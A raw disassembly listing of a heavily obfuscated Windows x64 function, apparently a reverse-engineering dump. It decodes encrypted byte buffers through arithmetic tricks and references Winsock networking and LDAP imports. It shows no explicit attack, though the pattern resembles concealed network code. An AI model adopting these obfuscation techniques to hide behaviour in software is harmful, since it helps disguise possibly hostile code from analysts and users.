add dil, dl
sub dil, r14b
cmp r10, 0x41
jb 0x14021fa04
movabs rdx, 0xafb7b47749b6ac5c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 8]
jmp 0x14021faf1
movabs rdx, 0xc1a4af33c939d386
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x14021f603
movabs rdx, 0xcd41b5b3f4f4fd52
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x3e
add dil, dl
lea rax, [r10 + rbx]
cmp rax, 0x5a
je 0x14021fa3a
lea rax, [r10 + 0x41]
cmp rbx, rax
jbe 0x14021f85e
movabs rdx, 0x9dcab9baca338532
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x5e
add dil, dl
cmp rbx, 3
jae 0x14021fa11
lea rcx, [r10 + 2]
cmp rbx, rcx
jbe 0x14021f945
movabs rdx, 0x23d9f578ff064e54
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x4c
add dil, dl
jmp 0x14021f556
movabs rdx, 0x245b66753cf0b6cc
mov ecx, gethostname
jmp 0x14021f78c
movabs rdx, 0x2ff86cf568abe098
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x28
jmp 0x14021fa83
movabs rdx, 0x3b95737594670a64
mov ecx, Ordinal_35
jmp 0x14021f4da
movabs rcx, 0x473279f5c0223430
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x50
jmp 0x14021fbb5
movabs rdx, 0x52cf8075ebdd5dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x14021fb9f
movabs rdx, 0x5e6c86f6179887c8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x78
jmp 0x14021fb60
movabs rcx, 0x6a098d764353b194
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0xc
jmp 0x14021fb3a
movabs rdx, 0x75a693f66f0edb60
mov ecx, Ordinal_50
jmp 0x14021f846
movabs rdx, 0x81439a769aca052c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x34
jmp 0x14021faee
lea rcx, [r10 + 2]
cmp rbx, rcx
jae 0x14021f774
movabs rdx, 0xfa317cbfea226b1a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14021f5ca
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14021f7a4
movabs rdx, 0xc1e777c69a59244
mov ecx, reloc.WS2_32.dll_select
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14021fc72
cmp rbx, rcx
jne 0x14021f7d0
movabs rdx, 0xf4e46a7c122f3eac
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14021fbed
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14021f7fd
movabs rdx, 0xd20d56fb8efdc148
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x14021fb60
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x14021f82a
movabs rcx, 0xc670507b6342977c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x64
jmp 0x14021fb3a
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x14021f5ca
movabs rdx, 0xbad349fb37876db0
mov ecx, Ordinal_26
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14021fb37
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14021f88b
movabs rdx, 0x922db33a9e785b66
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x14021faee
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14021f8bb
movabs rdx, 0x7af3a63a470207ce
mov ecx, Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14021fb3a
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14021f8e8
movabs rcx, 0x63b99939ef8bb436
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x7a
jmp 0x14021fbb2
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x14021f914
movabs rdx, 0x4c7f8c399815609e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x52
jmp 0x14021fbea
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x14021f606
movabs rcx, 0x35457f39409f0d06
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x2a
jmp 0x14021fc72
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14021f960
movabs rdx, 0x183ceef8d34b2488
mov ecx, r15d
jmp 0x14021f78c
cmp rbx, rcx
jne 0x14021f98a
movabs rdx, 0xc9fe878a78ffabc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
sub dil, r15b
jmp 0x14021fc1d
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14021f9b7
movabs rcx, 0xe9c8d4f8245e7d58
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x68
jmp 0x14021fbb2
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14021f9d4
movabs rdx, 0xc6f1c177a12cfff4
mov ecx, Ordinal_46
jmp 0x14021f846
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x14021f556
movabs rdx, 0xbb54baf77571d628
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x18
jmp 0x14021faee
mov byte [rbp + r9 + 0xfd0], dil
jmp 0x14021fc81
movabs rdx, 0xa41aadf71dfb8290
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, byte [rbp + r9 + 0xfd0]
jmp 0x14021f7f5
movabs rcx, 0x987da776f24058c4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, byte [rbp + r9 + 0xfd0]
lea edi, [r8 + rcx]
sub dil, 0x5c
jmp 0x14021fbed
movabs rdx, 0x292707bcd6f97ac2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x4e
add dil, dl
jmp 0x14021fc1d
movabs rcx, 0x406114bd2e6fce5a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x76
jmp 0x14021fbb5
movabs rcx, 0x6338283db1a14bbe
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x32
jmp 0x14021fb3a
movabs rdx, 0x7a72353e09179f56
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x5a
add dil, dl
movabs rcx, 0xa9e9313733d91776
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x3a
add r8b, cl
mov byte [rbp + r9 + 0xfd0], r8b
jmp 0x14021fb37
movabs rcx, 0x9d4948be8c491cba
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, r14b
add r10, r12
sub r9, r12
jmp 0x14021fc81
movabs rdx, 0xb48355bee3bf7052
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x3e
add dil, dl
movabs rdx, 0x9e4c2ab7081dedaa
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add cl, dil
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0xfd0], cl
jmp 0x14021fbb2
movabs rdx, 0xc0205c3f0f7a9a1e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
add rbx, r10
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14021fc81
mov r8, r11
movabs rdx, 0xd75a693f66f0edb6
add rdx, r9
mov al, dl
and al, r11b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
movabs rcx, 0x92af2436dc62c3de
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x12
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0xfd0], al
add r10, r12
add rax, r10
sub r9, rax
movabs rdx, 0x8ce0a0f6c6852ef8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_30
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0xfd0], cl
add rbx, r12
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x14021fc72
movabs rcx, 0xee94763fbe67414e
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x22
movzx eax, byte [rbp + r9 + 0xfd0]
add rax, r10
add r9, rax
add r9, r12
jmp 0x14021f11e
movabs rdx, 0xfbb5cfb4a3e1a482
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14021f11b
movabs rcx, 0x752d634cf9cce4e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x22
jmp 0x14021f10b
lea rdx, [rbp + 0x1600548]
jmp 0x14021fced
lea rdx, [rbp + 0x1027062]
jmp 0x14021fced
lea rdx, [rbp + 0xfd0]
lea rcx, [rbp + 0x278]
call fcn.14009ef00
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1310]
call fcn.14026a60a
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14021fd22
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r12d
mov r9d, esi
mov r8d, 2
lea rcx, [rbp + 0x1310]
call fcn.14018c840
nop
lea rcx, [rbp + 0x1310]
call fcn.140266950
nop
lea rcx, [rbp + 0x1310]
call fcn.1400a3400
nop
mov rcx, rbx
call fcn.1400aacb0
mov byte [rbp + 0x6a0], Ordinal_60
mov byte [rbp + 0x6a1], Ordinal_143
mov byte [rbp + 0x6a2], 0x61
mov byte [rbp + 0x6a3], 0xf3
mov byte [rbp + 0x6a4], 0x5a
mov byte [rbp + 0x6a5], 0xf1
mov byte [rbp + 0x6a6], 0x62
mov byte [rbp + 0x6a7], 0xf7
mov byte [rbp + 0x6a8], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x6a9], 0xf5
mov byte [rbp + 0x6aa], 0x5b
mov byte [rbp + 0x6ab], 0xfb
mov byte [rbp + 0x6ac], WSAStartup
mov byte [rbp + 0x6ad], 0xf9
mov byte [rbp + 0x6ae], 0x5b
mov byte [rbp + 0x6af], 0xff
mov byte [rbp + 0x6b0], sil
mov byte [rbp + 0x6b1], 0xfd
mov byte [rbp + 0x6b2], 0x59
mov byte [rbp + 0x6b3], 0xe3
mov byte [rbp + 0x6b4], Ordinal_79
mov byte [rbp + 0x6b5], 0xe1
mov byte [rbp + 0x6b6], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x6b7], 0xe7
mov byte [rbp + 0x6b8], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x6b9], 0xe5
mov byte [rbp + 0x6ba], 0x7f
mov byte [rbp + 0x6bb], 0xeb
mov byte [rbp + 0x6bc], 0x7a
mov byte [rbp + 0x6bd], 0xe9
mov byte [rbp + 0x6be], Ordinal_79
mov byte [rbp + 0x6bf], 0xef
mov byte [rbp + 0x6c0], 0x7a
mov byte [rbp + 0x6c1], 0xed
mov byte [rbp + 0x6c2], 0x88
mov byte [rbp + 0x6c3], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x6c4], 0x84
mov byte [rbp + 0x6c5], Ordinal_211
mov byte [rbp + 0x6c6], Ordinal_217
mov byte [rbp + 0x6c7], Ordinal_217
xor eax, eax
mov qword [rbp + 0x6c8], rax
mov dil, byte [rsp + 0x50]
call fcn.1402682a8
mov rbx, qword [rax]
call fcn.1402682b0
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x30
jae 0x140220a8a
movzx r8d, byte [rbp + r9 + 0x6a0]
mov rdx, r8
cmp rbx, r9
ja 0x140220a81
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x14021fee4
movabs r11, 0xa56801fc54f0c73e
lea rcx, [r9 + r11]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x4e
jmp 0x14021ff28
je 0x140220a00
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140220977
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140220948
lea rax, [r10 + 4]
cmp rbx, rax
je 0x1402208fc
lea rax, [r10 + 8]
cmp rbx, rax
je 0x1402208ab
movabs r11, 0xa56801fc54f0c73e
cmp r10, r9
ja 0x140220a78
lea rax, [r10 + 0x5a]
cmp rbx, rax
jae 0x14021ff4e
movabs rdx, 0x918829b2f7c05816
mov ecx, 0x33
jmp 0x140220163
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140220889
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140220865
lea rax, [r10 + 4]
cmp rbx, rax
je 0x14022083e
lea rax, [r10 + 5]
cmp rbx, rax
je 0x140220817
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1402207f4
lea rax, [rbx + r10]
cmp rax, r9
jbe 0x140220542
lea rax, [r10 + 4]
cmp rbx, rax
je 0x14022051f
lea rax, [r10 + 8]
cmp rbx, rax
je 0x1402204f8
lea rax, [r10 + 0x400]
cmp rbx, rax
je 0x1402204d4
lea rax, [r10 + 0x7a]
cmp rbx, rax
je 0x1402204c0
lea rax, [r10 + 0x2a]
cmp rbx, rax
je 0x14022049c
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140220479
lea rax, [r10 + 0x64]
cmp rbx, rax
je 0x14022045a
lea rax, [r10 + 0x3e8]
cmp rbx, rax
je 0x140220437
lea rax, [r10 + 0x61]
cmp rbx, rax
je 0x140220410
lea rax, [r10 + 9]
cmp rbx, rax
je 0x14021ff9c
lea rbx, [r10 + 5]
lea r10, [rbx + 0x20]
lea rax, [r10 + 9]
cmp rbx, rax
jb 0x140220a56
lea rax, [r10 + 0x1000]
cmp rbx, rax
jb 0x140220a32
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x14022019e
lea rax, [r10 + 1]
cmp rbx, rax
jb 0x14022017b
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x140220154
lea rax, [r10 + 0x80]
cmp rbx, rax
jb 0x1402203af
lea rax, [r10 + 0x400]
cmp rbx, rax
jb 0x140220351
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x140220301
lea rax, [r10 + 0xa]
cmp rbx, rax
jb 0x1402202d6
lea rax, [r10 + 0x28]
cmp rbx, rax
jb 0x14021ff9c
lea rbx, [r10 + 0x3e8]
lea r10, [rbx + 0x64]
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x1402202c2
lea rax, [r10 + 0x5a]
cmp rbx, rax
ja 0x14022029f
lea rax, [r10 + 0x20]
cmp rbx, rax
ja 0x14022027c
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x140220268
lea rax, [r10 + 0x200]
cmp rbx, rax
ja 0x140220246
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x14022021f
lea rax, [r10 + 8]
cmp rbx, rax
ja 0x1402201fc
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x1402201d9
lea rax, [r10 + 0x40]
cmp rbx, rax
ja 0x1402201c5
lea rax, [r10 + 0x2a]
cmp rbx, rax
ja 0x14021ff9c
lea rbx, [r10 + 0x7a]
lea r10, [rbx + 3]
jmp 0x14021ff9c
movabs rdx, 0xcf7914021ebc2eaa
mov ecx, reloc.WLDAP32.dll_Ordinal_45
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14021ff8f
movabs rcx, 0x84a9100974daa02e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x42
jmp 0x14021ff28
movabs rdx, 0x39d90c10caf911b2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14021feab
movabs rdx, 0x8c414d97be02c0b0
mov ecx, Ordinal_26
jmp 0x140220896
movabs rcx, 0x4171499f14213234
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6c
jmp 0x1402208f1
movabs rcx, 0xf6a145a66a3fa3b8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x1402208f4
movabs rdx, 0xabd141adc05e153c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14022091a
movabs rcx, 0x61013db5167c86c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, sil
jmp 0x140220943
movabs rdx, 0x163139bc6c9af844
mov ecx, reloc.WS2_32.dll_select
jmp 0x140220826
movabs rcx, 0xcb6135c3c2b969c8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x78
jmp 0x140220999
movabs rcx, 0x809131cb18d7db4c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x14
jmp 0x1402209cb
movabs rdx, 0x35c12dd26ef64cd0
mov ecx, Ordinal_41
jmp 0x14022041f
movabs rcx, 0xfab923e4c642689a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x36
mov byte [rbp + r9 + 0x6a0], dil
jmp 0x140220a2a
movabs rdx, 0xafe91fec1c60da1e
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp r10, 9
jb 0x1402202f4
movabs rcx, 0xe770ca89d7ef62b4
add rcx, r9
mov al, cl
and al, r8b
mov edx, 0xa
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x1402208c9
movabs rcx, 0x65191bf3727f4ba2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6e
cmp rbx, 0x1000
jae 0x140220797
lea rax, [r10 + 1]
cmp rbx, rax
jbe 0x1402206dc
movabs rdx, 0xfb50a2d3351fd1dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 4
add dil, dl
jmp 0x140220323
movabs rdx, 0x1a4917fac89dbd26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0xa
add dil, dl
lea rax, [rbx + r10]
cmp rax, 0x80
je 0x1402207c5
lea rax, [r10 + 0x40]
cmp rbx, rax
jbe 0x140220622
movabs rcx, 0x69c879203d5f79c6
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6a
jmp 0x14022036f
movabs rdx, 0x6930fa31ce821084
mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140220a1b
movabs rcx, 0x1e60f63924a08208
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x38
jmp 0x1402209cb
movabs rdx, 0xd390f2407abef38c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, r14d
sub cl, al
lea edi, [rcx + rcx]
jmp 0x1402207e9
movabs rcx, 0x88c0ee47d0dd6510
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x70
jmp 0x140220964
movabs rcx, 0x3df0ea4f26fbd694
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0xc
jmp 0x140220943
movabs rdx, 0xf320e6567d1a4818
mov ecx, Ordinal_46
jmp 0x140220696
movabs rcx, 0xa850e25dd338b99c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x44
jmp 0x1402208f4
movabs rdx, 0x5d80de6529572b20
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1402208f1
movabs rdx, 0x12b0da6c7f759ca4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x7c
jmp 0x14022064a
lea rax, [r10 + 6]
cmp rbx, rax
jae 0x140220569
lea rdx, [r9 + r11]
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1402203d0
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140220595
movabs rcx, 0x23105365ef80b02c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x34
jmp 0x140220a1b
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1402205c2
movabs rdx, 0xb8b05b574343cd24
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140220996
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1402205ee
movabs rcx, 0x3805f4fed255ba0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x60
jmp 0x140220964
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1402203d0
movabs rdx, 0x4e5063489706ea1c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140220943
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140220652
movabs rdx, 0xb4987d18e7410842
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1402208c9
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14022067e
movabs rcx, 0xff688111912296be
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x32
jmp 0x1402208f1
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1402206a8
movabs rdx, 0x95088902e4e5b3b6
mov ecx, 3
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
jmp 0x1402207ba
lea rax, [r10 + 9]
cmp rbx, rax
jne 0x14022036f
movabs rdx, 0xb189cde364d7c22
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140220a1b
jne 0x140220701
movabs rcx, 0x4620a6cbdf016058
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x68
jmp 0x140220a1b
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14022072d
movabs rcx, 0xdbc0aebd32c47d50
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x30
jmp 0x140220999
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14022074a
movabs rdx, 0x2690b2b5dca60bcc
mov ecx, gethostname
jmp 0x140220826
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140220776
movabs rcx, 0xbc30baa7306928c4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x5c
jmp 0x14022091a
lea rax, [r10 + 8]
cmp rbx, rax
jne 0x140220323
movabs rdx, 0x9ca0c6912e0dd438
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x140220896
movabs rdx, 0x3240ce8281d0f130
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov dil, byte [rbp + r9 + 0x6a0]
sub dil, al
sub dil, 0x50
add dil, dl
add dil, r8b
jmp 0x14022091a
movabs rdx, 0x7d10d27b2bb27fac
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r9 + 0x6a0]
add dil, r8b
add dil, dl
jmp 0x140220999
movabs rcx, 0x9d38457f9ceb3d7a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x56
jmp 0x140220999
movabs rdx, 0x52684186f309aefe
mov ecx, 7
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140220964
movabs rdx, 0x7983d8e49282082
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140220943
movabs rdx, 0x71f8359cf565038a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1402208f4
movabs rdx, 0xdc582daba1a1e692
mov ecx, r12d
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1402208c9
movabs rcx, 0x46b825ba4ddec99a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x36
movabs rdx, 0x8cd8cc862ce029f2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x6a0], cl
add r10, r12
sub r9, r12
jmp 0x140220a2a
movabs rcx, 0x664819d0503a1e26
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0xa
movabs rcx, 0xd7a8d07ed6c1b86e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 2
add r8b, dil
add r8b, cl
mov byte [rbp + r9 + 0x6a0], r8b
add rbx, r10
jmp 0x140220964
movabs rcx, 0xd0a811defc77012e
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x42
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140220a2a
mov r8, rdx
movabs rcx, 0x85d80de6529572b2
add rcx, r9
and dl, cl
mov eax, reloc.WS2_32.dll_recvfrom
sub al, dl
lea edi, [rax + rax]
add dil, cl
add dil, r8b
movabs rdx, 0x2278d47780a346ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x66
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x6a0], al
add r10, r12
add rax, r10
sub r9, rax
movabs rcx, 0xc7e0d673d5940e28
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x18
add r8b, cl
mov byte [rbp + r9 + 0x6a0], r8b
add rbx, r12
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x140220a1b
movabs rcx, 0xf03805f4fed255ba
add rcx, r9
mov al, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, r14b
movzx eax, byte [rbp + r9 + 0x6a0]
add rax, r10
add r9, rax
add r9, r12
jmp 0x14021fe98
movabs rcx, 0xef09081821178336
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x7a
jmp 0x14021fe95
movabs rcx, 0xa439041f7735f4ba
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r14b
jmp 0x14021fe85
lea rsi, [rbp + 0x145e448]
jmp 0x140220a91
lea rsi, [rbp + 0x136ab86]
